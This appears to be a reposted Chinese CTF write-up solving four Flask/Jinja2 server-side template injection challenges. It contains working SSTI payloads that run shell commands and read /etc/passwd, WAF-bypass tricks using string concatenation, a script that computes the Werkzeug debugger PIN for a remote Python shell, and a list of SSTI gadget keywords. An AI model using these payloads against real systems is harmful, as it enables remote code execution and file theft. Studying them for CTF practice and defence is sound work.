buu之SSTI(Python Web)


[BJDCTF 2nd]fake google

一般 SSTI 中,訪問 os 模塊都是從 warnings.catch_warnings 模塊入手,這里就是先尋找該模塊,g.__class__.__mro__[1] 獲取基類,然后尋找 warnings.catch_warnings 模塊,g.__class__.__mro__[1].__subclasses__()[169]

然后調用 __init__ 生成一個對象,從 __globals__ 中找可以執行命令或讀取文件的模塊或函數

SSTI_2.png

這里就直接使用 eval 函數讀取 flag

SSTI_3.png

payload

g.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)

[WesternCTF2018]shrine

直接給了代碼

import flask 
import os 

app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 
@app.route('/') 
def index(): 
	return open(__file__).read() 
	
@app.route('/shrine/') 
def shrine(shrine): 
	def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '') 
		blacklist = ['config', 'self'] 
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 

	return flask.render_template_string(safe_jinja(shrine)) 

if __name__ == '__main__': 
	app.run(debug=True)

訪問 /shrine/ 是 404,訪問 /shrine/{{7*7}} 可以發現存在 SSTI 漏洞,在代碼中過濾了 (, ), config, self ,並且說明了 flagconfig 中,可以讀取 app.config['FLAG'] 或者 os.environ.pop('FLAG')

這里的黑名單就鎖死了 __subclasses__() 以及 configself.__dict__

在 flask 的官方文檔中寫了一個 url_for 函數,在它引用的內容中,有着 current_app 的全局變量,然后就可以直接讀取 flag 了 url_for.__globals__['current_app'].config['FLAG']

SSTI_4.png

同樣的,還有一個 get_flashed_messages 函數

SSTI_5.png

[GYCTF2020]FlaskApp

進行解碼測試的時候發現會報錯,然后可以看到一部分代碼

SSTI_8.png

這部分代碼說明存在 SSTI,並且需要繞過 waf() 函數,寫了個 fuzz 腳本,過濾結果如下

b'request'
b'__import__'
b'eval'
b'popen'
b'system'
b'flag'
b'*'
b'import'

試着發現好像把命令執行的函數都給 ban 了,試着讀取文件

payload : {{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} 需要轉為 base64

SSTI_9.png

這里可以用字符串拼接來繞過

{{''.__class__.__base__.__subclasses__()[131].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("o'+'s").po'+'pen("cat /this_is_the_fl'+'ag.txt")').read()}}

讀取 app.py

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField('BASE64加密',validators= [DataRequired()])
    submit = SubmitField('提交')
    
class NameForm1(FlaskForm):
    text = StringField('BASE64解密',validators= [DataRequired()])
    submit = SubmitField('提交')
    
def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

@app.route('/hint',methods=['GET'])
def hint():
    txt = "失敗乃成功之母!!"
    return render_template("hint.html",txt = txt)
    
@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "結果 :{0}".format(str(text_decode.decode()))
        res = render_template_string(tmp) flash(tmp)
        return redirect(url_for('encode'))
    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
        
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "結果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res = render_template_string(tmp) flash( res )
        return redirect(url_for('decode'))
    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
        
@app.route('/<name>',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True) 

預期解法是要通過通過獲取 pin 碼打開python shell

生成PIN的關鍵值有如下幾個

  • 服務器運行 flask 所登錄的用戶名。 通過 /etc/passwd 中可以猜測為 flaskweb 或者 root ,此處用的flaskweb
  • modname 一般不變就是 flask.app
  • getattr(app, "__name__", app.__class__.__name__) python 該值一般為 Flask,值一般不變
  • flask 庫下 app.py 的絕對路徑,通過報錯信息就會泄露該值。本題為 /usr/local/lib/python3.7/site-packages/flask/app.py
  • 當前網絡的 mac 地址的十進制數。通過文件 /sys/class/net/eth0/address 獲取,本題為 02:42:ae:01:54:15
  • 最后一個就是機器的 id 對於非 docker 機每一個機器都會有自已唯一的 id ,linux的 id 一般存放在 /etc/machine-id/proc/sys/kernel/random/boot_i,有的系統沒有這兩個文件,windows 的 id 獲取跟 linux 也不同。對於 docker 機則讀取 /proc/self/cgroup 本題為 201263bbeb51e7fc9fd059b0acb7769564dc66450fde4f8ad0a45bbb8a99e201

接下來就是獲取 PIN 值,計算PIN值的關鍵代碼在 Lib\site-packages\werkzeug\debug\__init__.py

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
]

private_bits = [
    # mac 地址的十進制數
    '2485410419733',
    # 機器的 id 
    '201263bbeb51e7fc9fd059b0acb7769564dc66450fde4f8ad0a45bbb8a99e201'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到結果 676-092-706

然后選擇右側 shell 圖標

SSTI_10.png

輸入 PIN 值

SSTI_11.png

SSTI_12.png

這里執行 os.system('ls /') 返回為 0,是因為這個命令雖然執行了,但是沒有獲取執行的結果,即 os.system 僅僅在一個子終端運行系統命令,而不能獲取命令執行后的返回信息

[pasecactf_2019]flask_ssti

給了一段代碼

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')

腳本跑一下發現過濾了 ._\ 這里把 flag 寫入到 config 中,直接讀取 config 可以獲取加密后的 flag

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'folow @osminogka.ann on instagram =)', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'flag': '-M7\x10w@g?3Swc)\x0eK];\x00(DJ\x18X\x17xo\x04f\x02XN[-Wz*\x15hGZ\x1fG'}>

由於異或算法,前面的 encode 腳本即為 decode 腳本

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

t = '-M7\x10w@g?3Swc)\x0eK];\x00(DJ\x18X\x17xo\x04f\x02XN[-Wz*\x15hGZ\x1fG'
s = encode(t, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')

print(s)

另外,buu 上題目描述的代碼有誤。

SSTI 關鍵詞

[
]
(
\
)
{
}
_
__
.
g
''
""
request
g
namespace
__dict__
__class__
__mro__
__bases__
__subclasses__
__init__
__globals__
self
config
url_for
get_flashed_messages
lipsum
current_app
range
session
dict
get_flashed_messages
cycler
joiner
__builtins__
__import__
eval
keys
index
values
popen
read
_TemplateReference__context
environ
application
_get_data_for_json
JSONEncoder
default
system
flag
*
?
import
_IterationGuard
catch_warnings
_ModuleLock
flag
chr
subprocess
commands
socket
hex
base64

模塊位置尋找

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ [].__class__.__base__.__subclasses__().index(c) }}{% endif %}{% endfor %}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM